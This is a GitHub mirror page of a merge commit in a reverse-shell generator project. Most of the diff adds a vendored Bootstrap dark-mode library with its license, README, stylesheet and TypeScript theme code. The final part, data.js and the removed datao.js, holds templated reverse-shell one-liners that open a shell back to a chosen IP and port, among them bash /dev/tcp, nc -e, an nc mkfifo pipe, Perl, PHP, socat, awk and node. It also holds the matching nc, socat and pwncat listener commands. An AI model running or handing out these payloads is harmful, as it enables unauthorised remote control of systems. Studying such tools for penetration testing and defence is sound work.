mirror of
https://github.com/0dayCTF/reverse-shell-generator.git
synced 2024-12-24 05:45:26 +00:00
Merge pull request #1 from briskets/localstorage-refactor
Refactoring and LocalStorage
This commit is contained in:
commit
204863a063
4
bootstrap-darkmode-master/.gitignore
vendored
Normal file
4
bootstrap-darkmode-master/.gitignore
vendored
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
**.sass-cache**
|
||||||
|
.idea/
|
||||||
|
node_modules/
|
||||||
|
dist/
|
4
bootstrap-darkmode-master/.npmignore
Normal file
4
bootstrap-darkmode-master/.npmignore
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
.sass-cache/
|
||||||
|
.idea/
|
||||||
|
.gitignore
|
||||||
|
testpage.html
|
44
bootstrap-darkmode-master/CHANGELOG.md
Normal file
44
bootstrap-darkmode-master/CHANGELOG.md
Normal file
@ -0,0 +1,44 @@
|
|||||||
|
# v0.1.0
|
||||||
|
|
||||||
|
* Initial NPM release.
|
||||||
|
|
||||||
|
# v0.2.0
|
||||||
|
|
||||||
|
+ Added `theme.d.ts`.
|
||||||
|
|
||||||
|
# v0.3.0
|
||||||
|
|
||||||
|
* Encapsulated theme methods in the `ThemeConfig` class.
|
||||||
|
* Encapsulated dark switch in a function.
|
||||||
|
|
||||||
|
# v0.3.1
|
||||||
|
|
||||||
|
+ Added `initTheme` to `theme.d.ts`.
|
||||||
|
|
||||||
|
# v0.3.2
|
||||||
|
|
||||||
|
+ Added constructor to `ThemeConfig`.
|
||||||
|
|
||||||
|
# v0.4.0
|
||||||
|
|
||||||
|
* Converted the JavaScript code to TypeScript.
|
||||||
|
|
||||||
|
# v0.5.0
|
||||||
|
|
||||||
|
+ Added the `ThemeConfig.detectTheme` method.
|
||||||
|
* `ThemeConfig.loadTheme` and `.saveTheme` are now regular methods.
|
||||||
|
* The `ThemeConfig.loadTheme` and `.saveTheme` methods can now accept/return `null`.
|
||||||
|
* Moved `darktheme.css` to `dist/`.
|
||||||
|
* Removed `.gitignore` from the NPM package.
|
||||||
|
|
||||||
|
# v0.6.0
|
||||||
|
|
||||||
|
* `dist/theme.js` is no longer a module.
|
||||||
|
|
||||||
|
# v0.7.0
|
||||||
|
|
||||||
|
+ Added `.bg-darkmode-black` as an opposite for `.bg-white`.
|
||||||
|
+ Added support for `data-theme="auto"`, which will automatically apply dark mode dependending on user agent preference.
|
||||||
|
* Improved table border colors.
|
||||||
|
* Improved horizontal rule (`<hr>`) color.
|
||||||
|
* Updated information in `package.json`.
|
29
bootstrap-darkmode-master/LICENSE.md
Normal file
29
bootstrap-darkmode-master/LICENSE.md
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
BSD 3-Clause License
|
||||||
|
|
||||||
|
Copyright (c) 2019 - 2020, Clashsoft
|
||||||
|
All rights reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without
|
||||||
|
modification, are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
|
1. Redistributions of source code must retain the above copyright notice, this
|
||||||
|
list of conditions and the following disclaimer.
|
||||||
|
|
||||||
|
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||||
|
this list of conditions and the following disclaimer in the documentation
|
||||||
|
and/or other materials provided with the distribution.
|
||||||
|
|
||||||
|
3. Neither the name of the copyright holder nor the names of its
|
||||||
|
contributors may be used to endorse or promote products derived from
|
||||||
|
this software without specific prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||||
|
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||||
|
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||||
|
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||||
|
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||||
|
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||||
|
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||||
|
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
111
bootstrap-darkmode-master/README.md
Normal file
111
bootstrap-darkmode-master/README.md
Normal file
@ -0,0 +1,111 @@
|
|||||||
|
# Bootstrap Dark Mode
|
||||||
|
|
||||||
|
[![npm version](https://badge.fury.io/js/bootstrap-darkmode.svg)](https://www.npmjs.com/package/bootstrap-darkmode)
|
||||||
|
|
||||||
|
This project provides a stylesheet and two scripts that allow you to implement Dark Mode on your website.
|
||||||
|
It is initially loaded based on user preference, can be toggled via a switch, and is saved via `localStorage`.
|
||||||
|
|
||||||
|
You can view the [test page](testpage.html) with all default bootstrap components in light and dark
|
||||||
|
(thanks to [juzraai](https://juzraai.github.io/)!).
|
||||||
|
|
||||||
|
Note that not all components are fully supported yet.
|
||||||
|
Mostly the contextual color classes can cause problems.
|
||||||
|
|
||||||
|
If you are using Angular, check out [ng-bootstrap-darkmode](https://github.com/Clashsoft/ng-bootstrap-darkmode).
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
### With NPM/Yarn/PNPM
|
||||||
|
|
||||||
|
Install the [npm package](https://www.npmjs.com/package/bootstrap-darkmode):
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ npm install bootstrap-darkmode
|
||||||
|
$ yarn add bootstrap-darkmode
|
||||||
|
$ pnpm install bootstrap-darkmode
|
||||||
|
```
|
||||||
|
|
||||||
|
Include the stylesheet, e.g. in `styles.scss`:
|
||||||
|
|
||||||
|
```scss
|
||||||
|
@import "~bootstrap-darkmode/darktheme";
|
||||||
|
```
|
||||||
|
|
||||||
|
### Via unpkg.com
|
||||||
|
|
||||||
|
1. Put the stylesheet link in `<head>`. Do not forget to add bootstrap.
|
||||||
|
|
||||||
|
```html
|
||||||
|
<head>
|
||||||
|
<!-- ... -->
|
||||||
|
<!-- Bootstrap CSS ... -->
|
||||||
|
|
||||||
|
<!-- Dark mode CSS -->
|
||||||
|
<link rel="stylesheet" href="https://unpkg.com/bootstrap-darkmode@0.7.0/dist/darktheme.css"/>
|
||||||
|
<!-- ... -->
|
||||||
|
</head>
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Load the theme script as the first thing in `<body>`.
|
||||||
|
|
||||||
|
```html
|
||||||
|
<body>
|
||||||
|
<script src="https://unpkg.com/bootstrap-darkmode@0.7.0/dist/theme.js"></script>
|
||||||
|
<!-- ... --->
|
||||||
|
```
|
||||||
|
|
||||||
|
### Building Yourself
|
||||||
|
|
||||||
|
1. Clone this repo.
|
||||||
|
2. Run `npm build`.
|
||||||
|
3. Find `darktheme.css` and `theme.js` in the `dist/` directory.
|
||||||
|
4. Follow the steps for unpkg.com, but replace the links with whatever local paths you put the files in.
|
||||||
|
|
||||||
|
## Setup
|
||||||
|
|
||||||
|
> If you are using [ng-bootstrap-darkmode](https://github.com/Clashsoft/ng-bootstrap-darkmode),
|
||||||
|
> you can skip this section entirely.
|
||||||
|
> It comes with its own JavaScript implementation that is used very differently.
|
||||||
|
|
||||||
|
### Theme
|
||||||
|
|
||||||
|
As soon as possible after `<body>`, initialize the config and load the theme:
|
||||||
|
|
||||||
|
```js
|
||||||
|
const themeConfig = new ThemeConfig();
|
||||||
|
// place customizations here
|
||||||
|
themeConfig.initTheme();
|
||||||
|
```
|
||||||
|
|
||||||
|
Loading the theme early shortens the time until the white default background becomes dark.
|
||||||
|
|
||||||
|
### Dark Switch
|
||||||
|
|
||||||
|
If you want to use the default dark switch, load the switch script and add the element using this code:
|
||||||
|
|
||||||
|
```js
|
||||||
|
// this will write the html to the document and return the element.
|
||||||
|
const darkSwitch = writeDarkSwitch(themeConfig);
|
||||||
|
```
|
||||||
|
|
||||||
|
## Configuration
|
||||||
|
|
||||||
|
You can listen to theme changes by registering a callback with `themeChangeHandlers`:
|
||||||
|
|
||||||
|
```js
|
||||||
|
config.themeChangeHandlers.push(theme => console.log(`using theme: ${theme}`));
|
||||||
|
```
|
||||||
|
|
||||||
|
To change the way the theme is persisted, you can change the `loadTheme` and `saveTheme` functions:
|
||||||
|
|
||||||
|
```js
|
||||||
|
themeConfig.loadTheme = () => {
|
||||||
|
// custom logic
|
||||||
|
return 'dark';
|
||||||
|
};
|
||||||
|
|
||||||
|
themeConfig.saveTheme = theme => {
|
||||||
|
// custom logic
|
||||||
|
console.log(theme);
|
||||||
|
};
|
||||||
|
```
|
363
bootstrap-darkmode-master/darktheme.scss
Normal file
363
bootstrap-darkmode-master/darktheme.scss
Normal file
@ -0,0 +1,363 @@
|
|||||||
|
// =============== Variables ===============
|
||||||
|
|
||||||
|
// --------------- Defaults ---------------
|
||||||
|
|
||||||
|
$default-color: #bebebe;
|
||||||
|
$default-bg: #222;
|
||||||
|
$default-dark-bg: #181818;
|
||||||
|
$default-header-bg: #202020;
|
||||||
|
$default-border: #404040;
|
||||||
|
|
||||||
|
$item-color: (
|
||||||
|
"primary": #fff,
|
||||||
|
"secondary": #fff,
|
||||||
|
"success": #fff,
|
||||||
|
"danger": #fff,
|
||||||
|
"warning": #212529,
|
||||||
|
"info": #fff,
|
||||||
|
"light": #212529,
|
||||||
|
"dark": #fff,
|
||||||
|
);
|
||||||
|
|
||||||
|
$item-bg: (
|
||||||
|
"primary": #007bff,
|
||||||
|
"secondary": #6c757d,
|
||||||
|
"success": #28a745,
|
||||||
|
"danger": #dc3545,
|
||||||
|
"warning": #ffc107,
|
||||||
|
"info": #17a2b8,
|
||||||
|
"light": #6c757d,
|
||||||
|
"dark": #343a40,
|
||||||
|
);
|
||||||
|
|
||||||
|
$item-hover: (
|
||||||
|
"primary": #0069d9,
|
||||||
|
"secondary": #5a6268,
|
||||||
|
"success": #218838,
|
||||||
|
"danger": #c82333,
|
||||||
|
"warning": #e0a800,
|
||||||
|
"info": #138496,
|
||||||
|
"light": #e2e6ea,
|
||||||
|
"dark": #23272b,
|
||||||
|
);
|
||||||
|
|
||||||
|
$color-lighten: 10;
|
||||||
|
|
||||||
|
// --------------- Customized ---------------
|
||||||
|
|
||||||
|
$color: $default-color;
|
||||||
|
$bg: $default-bg;
|
||||||
|
|
||||||
|
$window-color: $default-color;
|
||||||
|
$window-bg: $default-bg;
|
||||||
|
$window-header-color: $default-color;
|
||||||
|
$window-header-bg: $default-header-bg;
|
||||||
|
$window-border: $default-border;
|
||||||
|
|
||||||
|
$card-color: $default-color;
|
||||||
|
$card-bg: $default-dark-bg;
|
||||||
|
$card-header-color: $default-color;
|
||||||
|
$card-header-bg: $default-header-bg;
|
||||||
|
$card-hover-bg: $default-bg;
|
||||||
|
$card-border: $default-border;
|
||||||
|
|
||||||
|
$form-color: $default-color;
|
||||||
|
$form-placeholder-color: #666;
|
||||||
|
$form-bg: #171717;
|
||||||
|
$form-hover-bg: #242424;
|
||||||
|
$form-border: $default-border;
|
||||||
|
|
||||||
|
$form-addon-color: $default-color;
|
||||||
|
$form-addon-bg: $default-header-bg;
|
||||||
|
|
||||||
|
@mixin darkmode {
|
||||||
|
color: $color;
|
||||||
|
background-color: $bg;
|
||||||
|
|
||||||
|
.bg-darkmode-dark {
|
||||||
|
background-color: #343a40 !important
|
||||||
|
}
|
||||||
|
|
||||||
|
.bg-darkmode-light {
|
||||||
|
background-color: #f8f9fa !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.bg-darkmode-black {
|
||||||
|
background-color: $bg !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
// --------------- Typography ---------------
|
||||||
|
|
||||||
|
pre {
|
||||||
|
color: $color;
|
||||||
|
}
|
||||||
|
|
||||||
|
hr {
|
||||||
|
border-top-color: $default-border;
|
||||||
|
}
|
||||||
|
|
||||||
|
// --------------- Images ---------------
|
||||||
|
|
||||||
|
img.icon,
|
||||||
|
svg.icon {
|
||||||
|
filter: invert(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// --------------- Tables ---------------
|
||||||
|
|
||||||
|
.table {
|
||||||
|
color: $color;
|
||||||
|
|
||||||
|
th, td {
|
||||||
|
border-top-color: $default-border;
|
||||||
|
}
|
||||||
|
|
||||||
|
thead th, tbody + tbody {
|
||||||
|
border-bottom-color: $default-border;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.table-hover tbody tr:hover {
|
||||||
|
color: $color;
|
||||||
|
}
|
||||||
|
|
||||||
|
.table-bordered {
|
||||||
|
border-color: $default-border;
|
||||||
|
|
||||||
|
th, td {
|
||||||
|
border-color: $default-border;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// --------------- List Groups ---------------
|
||||||
|
|
||||||
|
.list-group-item {
|
||||||
|
color: $card-color;
|
||||||
|
background-color: $card-bg;
|
||||||
|
border-color: $card-border;
|
||||||
|
|
||||||
|
&.list-group-item-action:focus,
|
||||||
|
&.list-group-item-action:hover {
|
||||||
|
background-color: $card-hover-bg;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.list-group-item.active {
|
||||||
|
&, &:focus, &:hover {
|
||||||
|
color: map_get($item-color, "primary");
|
||||||
|
background-color: map_get($item-bg, "primary");
|
||||||
|
border-color: map_get($item-bg, "primary");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@each $name in map_keys($item-color) {
|
||||||
|
.list-group-item-#{$name} {
|
||||||
|
color: map_get($item-color, $name);
|
||||||
|
background-color: map_get($item-bg, $name);
|
||||||
|
border-color: map_get($item-bg, $name);
|
||||||
|
|
||||||
|
&.list-group-item-action:focus,
|
||||||
|
&.list-group-item-action:hover {
|
||||||
|
color: map_get($item-color, $name);
|
||||||
|
background-color: map_get($item-hover, $name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// --------------- Buttons ---------------
|
||||||
|
|
||||||
|
.dropdown-menu {
|
||||||
|
background-color: $form-bg;
|
||||||
|
border-color: $form-border;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dropdown-item:not(:disabled):not(.disabled) {
|
||||||
|
color: $form-color;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dropdown-item:focus,
|
||||||
|
.dropdown-item:hover {
|
||||||
|
background-color: $form-hover-bg;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dropdown-divider {
|
||||||
|
border-top-color: $form-border;
|
||||||
|
}
|
||||||
|
|
||||||
|
// --------------- Jumbotron ---------------
|
||||||
|
|
||||||
|
.jumbotron {
|
||||||
|
color: $card-color;
|
||||||
|
background-color: $card-bg;
|
||||||
|
border-color: $card-border;
|
||||||
|
}
|
||||||
|
|
||||||
|
// --------------- Cards ---------------
|
||||||
|
|
||||||
|
.card {
|
||||||
|
color: $card-color;
|
||||||
|
background-color: $card-bg;
|
||||||
|
border-color: $card-border;
|
||||||
|
}
|
||||||
|
|
||||||
|
.card-header,
|
||||||
|
.card-footer {
|
||||||
|
color: $card-header-color;
|
||||||
|
background-color: $card-header-bg;
|
||||||
|
border-top-color: $card-border;
|
||||||
|
border-bottom-color: $card-border;
|
||||||
|
}
|
||||||
|
|
||||||
|
// --------------- Forms ---------------
|
||||||
|
|
||||||
|
.form-control {
|
||||||
|
color: $form-color;
|
||||||
|
background-color: $form-bg;
|
||||||
|
border-color: $form-border;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-control-plaintext {
|
||||||
|
color: $form-color;
|
||||||
|
}
|
||||||
|
|
||||||
|
.custom-select {
|
||||||
|
color: $form-color;
|
||||||
|
background-color: $form-bg;
|
||||||
|
border-color: $form-border;
|
||||||
|
background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3e%3cpath fill='%23ffffff' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e");
|
||||||
|
}
|
||||||
|
|
||||||
|
.custom-file-label {
|
||||||
|
color: $form-color;
|
||||||
|
background-color: $form-bg;
|
||||||
|
border-color: $form-border;
|
||||||
|
|
||||||
|
&:after {
|
||||||
|
color: $form-addon-color;
|
||||||
|
background-color: $form-addon-bg;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.input-group-text {
|
||||||
|
color: $form-addon-color;
|
||||||
|
background-color: $form-addon-bg;
|
||||||
|
border-color: $form-border;
|
||||||
|
}
|
||||||
|
|
||||||
|
.page-item .page-link {
|
||||||
|
border-color: $form-border;
|
||||||
|
}
|
||||||
|
|
||||||
|
.page-item.disabled .page-link {
|
||||||
|
background-color: $form-bg;
|
||||||
|
color: $form-color;
|
||||||
|
}
|
||||||
|
|
||||||
|
.page-item:not(.active) .page-link {
|
||||||
|
background-color: $form-bg;
|
||||||
|
}
|
||||||
|
|
||||||
|
.page-item:not(.active) .page-link:hover {
|
||||||
|
background-color: $form-hover-bg;
|
||||||
|
}
|
||||||
|
|
||||||
|
// --------------- Navs ---------------
|
||||||
|
|
||||||
|
.breadcrumb {
|
||||||
|
background-color: $form-bg;
|
||||||
|
border-color: $form-border;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-tabs {
|
||||||
|
border-bottom-color: $form-border;
|
||||||
|
|
||||||
|
.nav-link:focus,
|
||||||
|
.nav-link:hover {
|
||||||
|
background-color: $form-hover-bg;
|
||||||
|
border-color: $form-border;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-item.show .nav-link,
|
||||||
|
.nav-link.active {
|
||||||
|
color: $color;
|
||||||
|
background-color: $bg;
|
||||||
|
border-color: $form-border;
|
||||||
|
border-bottom-color: $bg;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-tabs.card-header-tabs {
|
||||||
|
.nav-item.show .nav-link,
|
||||||
|
.nav-link.active {
|
||||||
|
background-color: $card-bg;
|
||||||
|
border-bottom-color: $card-bg;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// --------------- Popovers ---------------
|
||||||
|
|
||||||
|
.popover {
|
||||||
|
background-color: $window-bg;
|
||||||
|
border-color: $window-border;
|
||||||
|
}
|
||||||
|
|
||||||
|
.popover-body {
|
||||||
|
color: $color;
|
||||||
|
}
|
||||||
|
|
||||||
|
.popover-header {
|
||||||
|
background-color: $window-header-bg;
|
||||||
|
border-bottom-color: $window-border;
|
||||||
|
}
|
||||||
|
|
||||||
|
@each $pos in (top, right, bottom, left) {
|
||||||
|
.bs-popover-#{$pos},
|
||||||
|
.bs-popover-auto[x-placement^="#{$pos}"] {
|
||||||
|
& > .arrow::before {
|
||||||
|
border-#{$pos}-color: $window-border;
|
||||||
|
}
|
||||||
|
|
||||||
|
& > .arrow::after {
|
||||||
|
border-#{$pos}-color: $window-bg;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// --------------- Progress Bars --------------- */
|
||||||
|
|
||||||
|
.progress {
|
||||||
|
background-color: $form-bg;
|
||||||
|
border-color: $form-border;
|
||||||
|
}
|
||||||
|
|
||||||
|
// --------------- Modals ---------------
|
||||||
|
|
||||||
|
.close {
|
||||||
|
color: $color;
|
||||||
|
opacity: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.modal-header,
|
||||||
|
.modal-footer {
|
||||||
|
color: $window-header-color;
|
||||||
|
background-color: $window-header-bg;
|
||||||
|
border-bottom-color: $window-border;
|
||||||
|
border-top-color: $window-border;
|
||||||
|
}
|
||||||
|
|
||||||
|
.modal-content {
|
||||||
|
color: $window-color;
|
||||||
|
background-color: $window-bg;
|
||||||
|
border-color: $card-border;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (prefers-color-scheme: dark) {
|
||||||
|
[data-theme=auto] {
|
||||||
|
@include darkmode;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
[data-theme=dark] {
|
||||||
|
@include darkmode;
|
||||||
|
}
|
31
bootstrap-darkmode-master/package.json
Normal file
31
bootstrap-darkmode-master/package.json
Normal file
@ -0,0 +1,31 @@
|
|||||||
|
{
|
||||||
|
"name": "bootstrap-darkmode",
|
||||||
|
"version": "0.7.0",
|
||||||
|
"description": "Stylesheet and Scripts for implementing dark mode with Bootstrap 4",
|
||||||
|
"main": "dist/theme.js",
|
||||||
|
"types": "dist/theme.d.ts",
|
||||||
|
"scripts": {
|
||||||
|
"build": "tsc && sass --source-map darktheme.scss:dist/darktheme.css --style compressed",
|
||||||
|
"test": "echo \"Error: no test specified\" && exit 1"
|
||||||
|
},
|
||||||
|
"repository": {
|
||||||
|
"type": "git",
|
||||||
|
"url": "https://github.com/clashsoft/bootstrap-darkmode.git"
|
||||||
|
},
|
||||||
|
"keywords": [
|
||||||
|
"bootstrap",
|
||||||
|
"bootstrap-4",
|
||||||
|
"darkmode",
|
||||||
|
"darktheme"
|
||||||
|
],
|
||||||
|
"author": "Adrian Kunz",
|
||||||
|
"license": "BSD-3-Clause",
|
||||||
|
"bugs": {
|
||||||
|
"url": "https://github.com/clashsoft/bootstrap-darkmode/issues"
|
||||||
|
},
|
||||||
|
"homepage": "https://github.com/clashsoft/bootstrap-darkmode#readme",
|
||||||
|
"devDependencies": {
|
||||||
|
"sass": "^1.26.7",
|
||||||
|
"typescript": "^3.9.3"
|
||||||
|
}
|
||||||
|
}
|
2938
bootstrap-darkmode-master/testpage.html
Normal file
2938
bootstrap-darkmode-master/testpage.html
Normal file
File diff suppressed because it is too large
Load Diff
60
bootstrap-darkmode-master/theme.ts
Normal file
60
bootstrap-darkmode-master/theme.ts
Normal file
@ -0,0 +1,60 @@
|
|||||||
|
class ThemeConfig {
|
||||||
|
themeChangeHandlers: ((theme: string) => void)[] = [];
|
||||||
|
|
||||||
|
loadTheme(): string | null {
|
||||||
|
return localStorage.getItem('theme');
|
||||||
|
}
|
||||||
|
|
||||||
|
saveTheme(theme: string | null): void {
|
||||||
|
if (theme === null) {
|
||||||
|
localStorage.removeItem('theme');
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
localStorage.setItem('theme', theme)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
initTheme(): void {
|
||||||
|
this.displayTheme(this.getTheme());
|
||||||
|
}
|
||||||
|
|
||||||
|
detectTheme(): string {
|
||||||
|
return window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light';
|
||||||
|
}
|
||||||
|
|
||||||
|
getTheme(): string {
|
||||||
|
return this.loadTheme() || this.detectTheme();
|
||||||
|
}
|
||||||
|
|
||||||
|
setTheme(theme: string): void {
|
||||||
|
this.saveTheme(theme);
|
||||||
|
this.displayTheme(theme);
|
||||||
|
}
|
||||||
|
|
||||||
|
displayTheme(theme: string): void {
|
||||||
|
document.body.setAttribute('data-theme', theme);
|
||||||
|
for (let handler of this.themeChangeHandlers) {
|
||||||
|
handler(theme);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function writeDarkSwitch(config: ThemeConfig) {
|
||||||
|
document.write(`
|
||||||
|
<div class="custom-control custom-switch">
|
||||||
|
<input type="checkbox" class="custom-control-input" id="darkSwitch">
|
||||||
|
<label class="custom-control-label" for="darkSwitch">Dark Mode</label>
|
||||||
|
</div>
|
||||||
|
`);
|
||||||
|
|
||||||
|
const darkSwitch = document.getElementById('darkSwitch') as HTMLInputElement;
|
||||||
|
|
||||||
|
darkSwitch.checked = config.getTheme() === 'dark';
|
||||||
|
darkSwitch.onchange = () => {
|
||||||
|
config.setTheme(darkSwitch.checked ? 'dark' : 'light');
|
||||||
|
};
|
||||||
|
|
||||||
|
config.themeChangeHandlers.push(theme => darkSwitch.checked = theme === 'dark');
|
||||||
|
|
||||||
|
return darkSwitch;
|
||||||
|
}
|
13
bootstrap-darkmode-master/tsconfig.json
Normal file
13
bootstrap-darkmode-master/tsconfig.json
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
{
|
||||||
|
"compilerOptions": {
|
||||||
|
"target": "es5",
|
||||||
|
"lib": ["es2017", "es7", "es6", "dom"],
|
||||||
|
"declaration": true,
|
||||||
|
"outDir": "dist",
|
||||||
|
"strict": true
|
||||||
|
},
|
||||||
|
"exclude": [
|
||||||
|
"node_modules",
|
||||||
|
"dist"
|
||||||
|
]
|
||||||
|
}
|
9
data.js
9
data.js
@ -1,11 +1,12 @@
|
|||||||
const rsgData = {
|
const rsgData = {
|
||||||
|
|
||||||
listenerCommands: [
|
listenerCommands: [
|
||||||
|
['pwncat', 'python3 -m pwncat -lp {port}'],
|
||||||
['nc', 'nc -lvnp {port}'],
|
['nc', 'nc -lvnp {port}'],
|
||||||
['rlwrap + nc', 'rlwrap nc -lvnp {port}'],
|
['rlwrap + nc', 'rlwrap nc -lvnp {port}'],
|
||||||
|
['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'],
|
||||||
['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'],
|
['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'],
|
||||||
['socat (TTY)', 'socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:{port}'],
|
['socat (TTY)', 'socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:{port}']
|
||||||
['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}']
|
|
||||||
],
|
],
|
||||||
|
|
||||||
shells: ['sh', 'bash', 'ash', 'bsh', 'csh', 'ksh', 'zsh', 'pdksh', 'tcsh'],
|
shells: ['sh', 'bash', 'ash', 'bsh', 'csh', 'ksh', 'zsh', 'pdksh', 'tcsh'],
|
||||||
@ -38,8 +39,8 @@ const rsgData = {
|
|||||||
['socat #1', 'socat TCP:{ip}:{port} EXEC:{shell}'],
|
['socat #1', 'socat TCP:{ip}:{port} EXEC:{shell}'],
|
||||||
['socat #2 (TTY)', 'socat TCP:{ip}:{port} EXEC:\'bash -li\',pty,stderr,setsid,sigint,sane'],
|
['socat #2 (TTY)', 'socat TCP:{ip}:{port} EXEC:\'bash -li\',pty,stderr,setsid,sigint,sane'],
|
||||||
['awk', 'awk \'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null'],
|
['awk', 'awk \'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null'],
|
||||||
['node.js', 'require(\'child_process\').exec(\'nc -e /bin/{shell} {ip} {port}\')'],
|
['node.js', 'require(\'child_process\').exec(\'nc -e /bin/{shell} {ip} {port}\')']
|
||||||
['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}']
|
|
||||||
],
|
],
|
||||||
|
|
||||||
specialCommands: {
|
specialCommands: {
|
||||||
|
50
datao.js
50
datao.js
@ -1,50 +0,0 @@
|
|||||||
const rsgData = {
|
|
||||||
|
|
||||||
listenerCommands: [
|
|
||||||
['pwncat', 'p3 -m pwncat -lp {port}'],
|
|
||||||
['nc', 'nc -lvnp {port}'],
|
|
||||||
['rlwrap + nc', 'rlwrap nc -lvnp {port}'],
|
|
||||||
['windows conpty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'],
|
|
||||||
['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'],
|
|
||||||
['socat (TTY)', 'socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:{port}']
|
|
||||||
],
|
|
||||||
|
|
||||||
shells: ['bash', 'sh', 'ash', 'bsh', 'csh', 'ksh', 'zsh', 'pdksh', 'tcsh'],
|
|
||||||
// shells: ['bash', 'sh', 'zsh', 'ash', 'bsh', 'csh', 'ksh', 'pdksh', 'tcsh'],
|
|
||||||
|
|
||||||
reverseShellsCommands: [
|
|
||||||
['Bash -i', '{shell} -i >& /dev/tcp/{ip}/{port} 0>&1'],
|
|
||||||
['Bash 196', '0<&196;exec 196<>/dev/tcp/{ip}/{port}; {shell} <&196 >&196 2>&196'],
|
|
||||||
['Bash udp', '{shell} -i >& /dev/udp/{ip}/{port} 0>&1'],
|
|
||||||
['nc mkfifo', 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/{shell} -i 2>&1|nc {ip} {port} >/tmp/f'],
|
|
||||||
['nc -e', 'nc -e /bin/{shell} {ip} {port}'],
|
|
||||||
['nc -c', 'nc -c {shell} {ip} {port}'],
|
|
||||||
['ncat -e', 'ncat {ip} {port} -e /bin/{shell} '],
|
|
||||||
['ncat udp', 'ncat {ip} {port} -e /bin/{shell}'],
|
|
||||||
['Perl', 'perl -e \'use Socket;$i="{ip}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/{shell} -i");};\''],
|
|
||||||
['Perl no sh', 'perl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"{port}:{port}");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\''],
|
|
||||||
['PHP exec', 'php -r \'$sock=fsockopen("{ip}",{port});exec("/bin/{shell} -i <&3 >&3 2>&3");\''],
|
|
||||||
